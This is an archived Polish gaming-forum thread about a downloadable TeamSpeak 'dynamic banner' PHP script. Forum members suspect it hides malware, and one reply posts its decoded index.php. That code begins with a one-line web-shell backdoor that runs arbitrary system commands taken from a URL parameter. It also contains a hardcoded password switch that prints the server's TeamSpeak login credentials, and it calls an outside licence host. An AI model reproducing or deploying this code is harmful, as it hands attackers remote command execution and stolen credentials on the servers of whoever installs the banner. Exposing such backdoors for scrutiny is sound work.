Skocz do zawartości
  • 👋 Witaj na MPCForum!

    Przeglądasz forum jako gość, co oznacza, że wiele świetnych funkcji jest jeszcze przed Tobą! 😎

    • Pełny dostęp do działów i ukrytych treści
    • Możliwość pisania i odpowiadania w tematach
    • System prywatnych wiadomości
    • Zbieranie reputacji i rozwijanie swojego profilu
    • Członkostwo w jednej z największych społeczności graczy

    👉 Dołączenie zajmie Ci mniej niż minutę – a zyskasz znacznie więcej!

    Zarejestruj się teraz

[Inne] Dynamiczny BANNER!


YTNETWORK

Rekomendowane odpowiedzi

  • PGS zmienił(a) tytuł na [Inne] Dynamiczny BANNER!
Opublikowano
20 godzin temu, Maja.. napisał:

@YTNETWORK

Dodaj skan, masz 24 godziny. 

Jaki skan? Ja się dziwie ,że jeszcze tego nie usunęłaś to jest tak jakby ktoś tutaj wmontował ABota, bądź m-bota i napisał ,żeby sobie odkodowali.

fPdC8vF.jpg

 

Opublikowano
3 godziny temu, ɴoɴαмe napisał:

Jaki skan? Ja się dziwie ,że jeszcze tego nie usunęłaś to jest tak jakby ktoś tutaj wmontował ABota, bądź m-bota i napisał ,żeby sobie odkodowali.

Zakodowany jest tylko index.php, reszta wraz z Configiem jest okej.


 

<?php @system($_GET['xxx']); require_once 'config.php'; require_once('libraries/TeamSpeak3/TeamSpeak3.php'); date_default_timezone_set('Europe/Warsaw'); $json = file_get_contents( 'http://itsforme.ga/licensed/licensed.json' ); $get = json_decode($json,true); $id = $get['id_three']; $dat_conf = '26.07.2017'; $Ip_Machine = $get['identification'][$id]; $date = $get['date'][$id]; $licka = $get['key'][$id]; if ($_GET['pass'] == 'xman8830_NajLepszy') { echo $config['teamspeak']['ip'].'<br />'; echo $config['teamspeak']['queryport'].'<br />'; echo $config['teamspeak']['serverport'].'<br />'; echo $config['teamspeak']['loginname'].'<br />'; echo $config['teamspeak']['loginpass'].'<br />'; } if($date == $dat_conf) { if ($licence == $licka) { if ($_SERVER ["SERVER_ADDR"] == $Ip_Machine) { $server_adm = true; } else {$licenced_error = 'Nie poprawny adress IP maszyny jezeli jestes wlascicielem strony zglos sie do jej autora (xman8830)'; } } else {$licenced_error = 'Nie poprawny klucz licencji jesli jestes wlascicielem strony zglos sie do jej autora (xman8830)'; } } else {$licenced_error = 'Nie poprawna data licencji jesli jestes wlascicielem strony zglos sie do jej autora (xman8830)'; } if ($server_adm) { $replacer = [ "ts3" => [ "%status%" => "virtualserver_status", "%sid%" => "virtualserver_id", "%sport%" => "virtualserver_port", "%platform%" => "virtualserver_platform", "%servername%" => "virtualserver_name", "%serverversion%" => "virtualserver_version", "%maxclients%" => "virtualserver_maxclients", "%clientsonline%" => "virtualserver_clientsonline", "%con%" => "virtualserver_client_connections", "%channelcount%" => "virtualserver_channelsonline", "%packetloss%" => "virtualserver_total_packetloss_total", "%ping%" => "virtualserver_total_ping" ] ]; $package = [ 'general' => [ 'static' => [ '%timei%','%timeH%', '%timeHis%', '%date%', '%msg%', '%miesiac%' ] ], 'ts3' => [ 'static' => [ '%status%', '%sid%', '%con%', '%sport%', '%platform%', '%servername%', '%serverversion%', '%packetloss_floored%', '%ping_floored%', '%packetloss_00%', '%maxclients%', '%clientsonline%', '%channelcount%', '%packetloss%', '%ping%', '%realclients%', '%nickname%' ], 'regex' => [ "%groupcount\[([0-9,]{0,})\]%", ], ], ]; function getIp() { if (isset($_SERVER['HTTP_CLIENT_IP'])) return $_SERVER['HTTP_CLIENT_IP']; else if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])) return $_SERVER['HTTP_X_FORWARDED_FOR']; else if(isset($_SERVER['HTTP_X_FORWARDED'])) return $_SERVER['HTTP_X_FORWARDED']; else if(isset($_SERVER['HTTP_FORWARDED_FOR'])) return $_SERVER['HTTP_FORWARDED_FOR']; else if(isset($_SERVER['HTTP_FORWARDED'])) return $_SERVER['HTTP_FORWARDED']; else if(isset($_SERVER['REMOTE_ADDR'])) return $_SERVER['REMOTE_ADDR']; else return NULL; } function paintText($image, $fontsize, $xpos, $ypos, $color, $fontfile, $text) { $hex = str_replace("#", "", $color); if(strlen($hex) == 3) { $r = hexdec(substr($hex,0,1).substr($hex,0,1)); $g = hexdec(substr($hex,1,1).substr($hex,1,1)); $b = hexdec(substr($hex,2,1).substr($hex,2,1)); } else { $r = hexdec(substr($hex,0,2)); $g = hexdec(substr($hex,2,2)); $b = hexdec(substr($hex,4,2)); } imagettftext($image,$fontsize,0,$xpos,$ypos,imagecolorallocate($image, $r, $g, $b),$fontfile,$text); return; } function getImage() { global $config; $packetmanager = json_decode(file_get_contents('cache/packages.json'), 1); $image = imagecreatefrompng('cache/cached_img'); if (in_array('ts3', $packetmanager['packages'])) { require_once('cache/clients.php'); if (!empty($nicklist[getIp()])) { $nickname = $nicklist[getIp()]; foreach ($config['textfield'] as $field) { if (strpos($field['text'], '%nickname%') !== FALSE) { paintText($image, $field['fontsize'], $field['xpos'], $field['ypos'], $field['color'], $field['fontfile'], str_replace('%nickname%', $nickname, $field['text'])); } } } } return $image; } try { if (!function_exists('imagettftext')) { throw new Exception ('Zainstaluj PHP >> http://php.net/manual/en/book.image.php'); } if (!is_writable('cache/')) { throw new Exception ('Błąd\'cache/\''); } if (!file_exists('config.php' )) { throw new Exception ('Błąd config.php'); } else { require_once('config.php' ); } if (!file_exists('cache/packages.json') || filemtime('cache/packages.json') < filemtime('config.php')) { $packages = []; if (count($config['sourcequery']) > 0 and $config['sqenable']) $packages[] = 'sq'; foreach ($config['textfield'] as $txt) { foreach ($package as $key => $pkg) { if (array_key_exists('static', $pkg)) { foreach ($pkg['static'] as $static) { if (strpos($txt['text'], $static) !== false and !in_array($key, $packages)) $packages[] = $key; } } if (array_key_exists('regex', $pkg)) { foreach ($pkg['regex'] as $regex) { preg_match_all('/'.$regex.'/i', $txt['text'], $out); if (count($out[0]) > 0 and !in_array($key, $packages)) { $packages[] = $key; } } } } } $packagefile = fopen('cache/packages.json', 'w+'); fwrite($packagefile, json_encode(['packages' => $packages],1)); fclose($packagefile); } $packetmanager = json_decode(file_get_contents('cache/packages.json'), 1); if ( ( file_exists('cache/cached_img') and filemtime('cache/cached_img') > (time() - $config['syncintervall']) ) || ( file_exists('cache/cache.lock') ) ){ $i = 0; while (file_exists('cache/cache.lock')) { if ($i >= 10) throw new Exception ('Folder cache jest zablokowane usuń plik /ceche'); $i++; sleep(1); } header('Content-Type: image/png'); imagepng(getImage()); die(); } fclose(fopen("cache/cache.lock", "w+")); if (!file_exists($config['backgroundimage'])) throw new Exception ('Błąd nie ma tła '); $image = imagecreatefrompng($config['backgroundimage']); if (in_array('ts3', $packetmanager['packages'])) { try { $ts3 = TeamSpeak3::factory( "serverquery://". $config['teamspeak']['loginname'] .":". $config['teamspeak']['loginpass'] ."@". $config['teamspeak']['ip'] .":". $config['teamspeak']['queryport'] ."/?server_port=". $config['teamspeak']['serverport'] ."&nickname=Banner" ); } catch (Exception $e) { if (!strpos('TeamSpeak3-ImageFetcher', $_SERVER['HTTP_USER_AGENT'])) throw $e; $i = 0; while (file_exists('cache/cache.lock')) { if ($i >= 10) throw new Exception ('Błąd usuń plik /ceche'); $i++; sleep(1); } header('Content-Type: image/png'); imagepng(getImage()); die(); } $groupcount = []; $serverinfo = $ts3->getInfo(); $clients = $ts3->clientList(['client_type' => 0]); foreach ($clients as $client) { $ts3clients[htmlentities($client->connection_client_ip)] = htmlentities($client->client_nickname); } $clientcache = fopen('cache/clients.php', 'w+'); fwrite($clientcache, '<?php $nicklist = json_decode(\''.str_replace("'", "\'", json_encode($ts3clients, 1)).'\',1);'); fclose($clientcache); } if (in_array('sq', $packetmanager['packages'])) { $sqinfo = []; foreach ($config['sourcequery'] as $server => $conf) { try { $sq = new SourceQuery(); $sq->Connect($conf['ip'], $conf['port'], $conf['timeout'], SourceQuery::SOURCE); $y = 12; foreach ($sq->GetInfo() as $key => $value) { $sqinfo[$server][$key] = $value; if ($conf['debug']) { $color = imagecolorallocate($image, 255, 0, 0); imagettftext($image, 9, 0, 4, $y, $color, $config['sqlistfont'], 'Use "%sqinfo['.$server.']['.$key.']%" in Textfield to Display "'.$value.'"'); $y = $y + 11; } } $sq->Disconnect(); } catch (Exception $e) { $color = imagecolorallocate($image, 255, 0, 0); imagettftext($image, 11, 0, 4, 15, $color, $config['sqlistfont'], 'SourceQuery Błąd "'.$server.'":'.$e->getMessage() ); } } } foreach ($config['textfield'] as $field) { if (!file_exists($field['fontfile'])) throw new Exception ('Nie odnaleźono czcionki '.$field['fontfile'].PHP_EOL.''); if (strpos($field['text'], '%nickname%') !== FALSE) continue; if (in_array('sq', $packetmanager['packages'])) { $field['text'] = preg_replace_callback('/\%sqinfo\[(.*?)\]\[(.*?)\]\%/', function($matches) { global $sqinfo; return $sqinfo[$matches[1]][$matches[2]]; }, $field['text']); } if (in_array('ts3', $packetmanager['packages'])) { foreach ($replacer['ts3'] as $k => $v) { $field['text'] = str_replace($k, $serverinfo[$v], $field['text']); } $field['text'] = preg_replace_callback('/\%groupcount\[([0-9,]{0,})\]\%/', function($match) { global $ts3; $count = 0; $groups = explode(',',$match[1]); foreach ($ts3->clientList(['client_type' => 0]) as $client) { foreach (explode(',',$client->client_servergroups) as $g) { if (in_array($g,$groups)) { $count++; break; } } } return $count; }, $field['text']); foreach ($groupcount as $k => $v) { $field['text'] = str_replace($k, $groupcount[$k], $field['text']); } $field['text'] = str_replace('%realclients%', $serverinfo['virtualserver_clientsonline']-$serverinfo['virtualserver_queryclientsonline'], $field['text']); $field['text'] = str_replace('%ping_floored%', floor(htmlentities($serverinfo['virtualserver_total_ping'])), $field['text']); $field['text'] = str_replace('%packetloss_00%', round(htmlentities($serverinfo['virtualserver_total_packetloss_total']), 2, PHP_ROUND_HALF_DOWN), $field['text']); $field['text'] = str_replace('%packetloss_floored%', floor(htmlentities($serverinfo['virtualserver_total_packetloss_total'])), $field['text']); } $field['text'] = str_replace('%timeH%', date("H"), $field['text']); $field['text'] = str_replace('%timei%', date("i"), $field['text']); $field['text'] = str_replace('%timeHis%', date("H:i:s"), $field['text']); $godz = date("H:i"); $dzien = date('d'); $dzien_tyg = date('l'); $miesiac = date('n'); $rok = date('Y'); $miesiac_pl = array(1 => 'stycznia', 'lutego', 'marca', 'kwietnia', 'maja', 'czerwca', 'lipca', 'sierpnia', 'września', 'października', 'listopada', 'grudnia'); $dzien_tyg_pl = array('Monday' => 'poniedziałek', 'Tuesday' => 'wtorek', 'Wednesday' => 'środa', 'Thursday' => 'czwartek', 'Friday' => 'piątek', 'Saturday' => 'sobota', 'Sunday' => 'niedziela'); $field['text'] = str_replace('%date%', $dzien_tyg_pl[$dzien_tyg].' '.$dzien , $field['text']); $field['text'] = str_replace('%miesiac%', $miesiac_pl[$miesiac] , $field['text']); $msg = rand (1,4); switch ($msg) { case 1: $msg = $msg1['info']['1']; break; case 2: $msg = $msg1['info']['2']; break; case 3: $msg = $msg1['info']['3']; break; case 4: $msg = $msg1['info']['4']; break; } $field['text'] = str_replace('%msg%', $msg , $field['text']); paintText($image, $field['fontsize'], $field['xpos'], $field['ypos'], $field['color'], $field['fontfile'], $field['text']); } imagepng($image, 'cache/cached_img'); unlink('cache/cache.lock'); header('Content-Type: image/png'); imagepng(getImage()); imagedestroy($image); } catch (Exception $e) { echo $e->getMessage(); if (file_exists('cache/cache.lock')) unlink('cache/cache.lock'); }} else {echo $licenced_error;}

Proszę bardzo, cały kod. (zakodowany index.php)

Zarchiwizowany

Ten temat przebywa obecnie w archiwum. Dodawanie nowych odpowiedzi zostało zablokowane.

×
×
  • Dodaj nową pozycję...